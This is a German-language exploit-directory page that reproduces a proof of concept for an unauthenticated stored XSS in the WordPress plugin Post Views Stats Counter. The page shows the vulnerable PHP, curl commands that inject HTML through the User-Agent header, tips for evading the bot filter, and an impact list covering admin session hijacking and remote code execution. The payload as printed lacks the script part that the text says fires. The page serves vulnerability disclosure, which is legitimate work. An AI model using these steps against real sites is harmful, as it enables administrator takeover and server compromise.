Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

FeedsKontaktDatenschutz© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-97347 — Proof-of-Concept für CVE-2026-97347, eine nicht authentifizierte gespeicherte XSS-Schwachstelle im WordPress-Plugin Post Views Stats Counter über den User-Agent-Header, mit Schritten zur Reproduktion. | Kitploit
Tools/GitHubGitHub/jailbr3ak/cve-2026-97347
SchwachstellenanalyseExploitationWebanwendungs-ExploitationWebsicherheit
GitHubjailbr3ak/cve-2026-97347

CVE-2026-97347

Proof-of-Concept für CVE-2026-97347, eine nicht authentifizierte gespeicherte XSS-Schwachstelle im WordPress-Plugin Post Views Stats Counter über den User-Agent-Header, mit Schritten zur Reproduktion.

Repository anzeigen
vor 1 MonatNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-97347 — Gespeichertes XSS im Post Views Stats Counter (WordPress-Plugin)

PluginPost Views Stats Counter
Betroffene Version≤ 1.1.7
FehlerklasseNicht authentifiziertes gespeichertes XSS
EinstiegspunktUser-Agent-HTTP-Header
SinkAdmin-Statistikseite (options-general.php?page=post_views_stats_admin_menu)
CVSS 3.17.2 Hoch
StatusZum Zeitpunkt der Offenlegung ungepatcht, bislang keine bekannten gepatchten Versionen
ForscherNawaf Althurwi

Der Fehler

Das Plugin zeichnet jeden Seitenaufruf auf, einschließlich des User-Agent-Headers des Besuchers, und speichert ihn in einer benutzerdefinierten Tabelle (wp_pvs_counter). Hier wird der Header abgegriffen — an keiner Stelle im Pfad erfolgt eine Bereinigung:

// wp_pvscounter.php
$ua = $_SERVER['HTTP_USER_AGENT'];

Die einzige Verteidigung auf dem Weg hinein ist ein Bot-Filter, und dieser ist lediglich eine Substring-Blacklist:

// wp_pvscounter.php
function pvs_counter_is_bot() {
    $pvs_bots = get_option('pvs_counter_value_admin_bots');
    ...
    foreach( $pvs_bots as $pvs_bot ) {
        if (stripos( $ua, $pvs_bot ) !== false) {
            $bot = 1;
            return $bot;
        }
    }
}

Die Standardliste ist bot, spider, crawler. Alles, was diese Teilstrings nicht enthält, wird gespeichert. Das ist der gesamte Filter.

Auf der Ausgabeseite erstellt die Admin-Seite ein Dropdown-Menü mit „registrierten User-Agents“ und gibt den gespeicherten Wert roh innerhalb des <option>-Tags aus — esc_attr() schützt das value-Attribut, aber die sichtbare Beschriftung ist ein einfaches Echo:

// manage/admin.php
<?php foreach($useragent_bot_list as $useragent_bot): ?>
    <option value="<?php echo (esc_attr($useragent_bot)); ?>"><?php echo $useragent_bot; ?></option>

Eine nicht authentifizierte Anfrage mit HTML im User-Agent-Header wird also im Browser des Administrators ausgeführt, sobald dieser das nächste Mal die Statistikseite des Plugins öffnet. Klassisches gespeichertes XSS, keine Authentifizierung, keine Interaktion des Opfers erforderlich, außer dass es sein eigenes Dashboard aufruft.

Eine weitere Einschränkung, die man kennen sollte: Die Spalte useragent ist varchar(155), daher muss die Payload unter 155 Zeichen bleiben.

Reproduktion

Jede protokollierte URL funktioniert — die Startseite /?p=1 ist in Ordnung. Ersetze TARGET durch den WordPress-Host und YOUR_PAYLOAD durch das, was du in der Sitzung des Administrators ausführen möchtest:

curl -s -o /dev/null \
  -H 'User-Agent: </option></select>' \
  'http://TARGET/?p=1'

Hinweise zur Struktur der Payload:

  • </option></select> bricht den Wert aus dem Dropdown-Markup aus — es ist keine Dekoration, ohne es bleibt die Injection im <option>-Tag gefangen.
  • Halte die Zeichenkette frei von bot/spider/crawler (Groß-/Kleinschreibung wird nicht unterschieden), sonst wird die Anfrage als Bot gefiltert, bevor sie die Datenbank erreicht.
  • Halte sie insgesamt unter 155 Zeichen.
  • Wenn du Leerzeichen innerhalb eines alert() möchtest, verwende stattdessen &#32; — manche HTTP-Clients verfälschen Leerzeichen in Header-Werten.

Der Einzeiler, den ich in meinem Labor verwendet habe:

curl -s -o /dev/null -w 'HTTP %{http_code} - payload stored\n' \
  -H 'User-Agent: </option></select>' \
  'http://packetradar.local:8090/?p=1'

Schritt 1 — Payload speichern

Senden der Payload über den User-Agent-Header

Nur ein einfaches curl. HTTP 200 bedeutet, dass die Ansicht gezählt und der Header in die Datenbank geschrieben wurde.

Schritt 2 — Auslösen

Öffnen Sie als Administrator Einstellungen → Post Views Stats Counter (oder aktualisieren Sie einfach, falls es bereits geöffnet ist). Die Payload wird als Teil der Statistik-Widget-Liste gerendert und das onerror wird ausgelöst:

Payload wird auf der Admin-Statistikseite ausgeführt

Auswirkung

  • Cookie-Diebstahl / Session-Hijacking des Administrators (Änderung des S:C-Scopes — das XSS läuft auf wp-admin, sodass es admin-ajax- und Plugin-Install-Endpunkte mit den Cookies des Administrators aufrufen kann)
  • Plugin-Installation und -Aktivierung → RCE auf dem Server
  • Persistente Payload: wird für den Administrator bei jedem Besuch der Statistikseite ausgelöst, bis die Zeile gelöscht wird

Exploit-Video

Demo

Höhere Qualität zum Durchspulen/Pausieren: exploit-vid.mp4

Referenzen

  • CVE-Eintrag — CVE-2026-97347

  • Wordfence Threat Intelligence-Eintrag — CVE-2026-97347


Getestet gegen Version 1.1.7 auf WordPress 6.x in einem lokalen Docker-Lab. Nicht authentifiziert, keine Benutzerinteraktion außer dem Öffnen der Statistikseite.

Tool herunterladen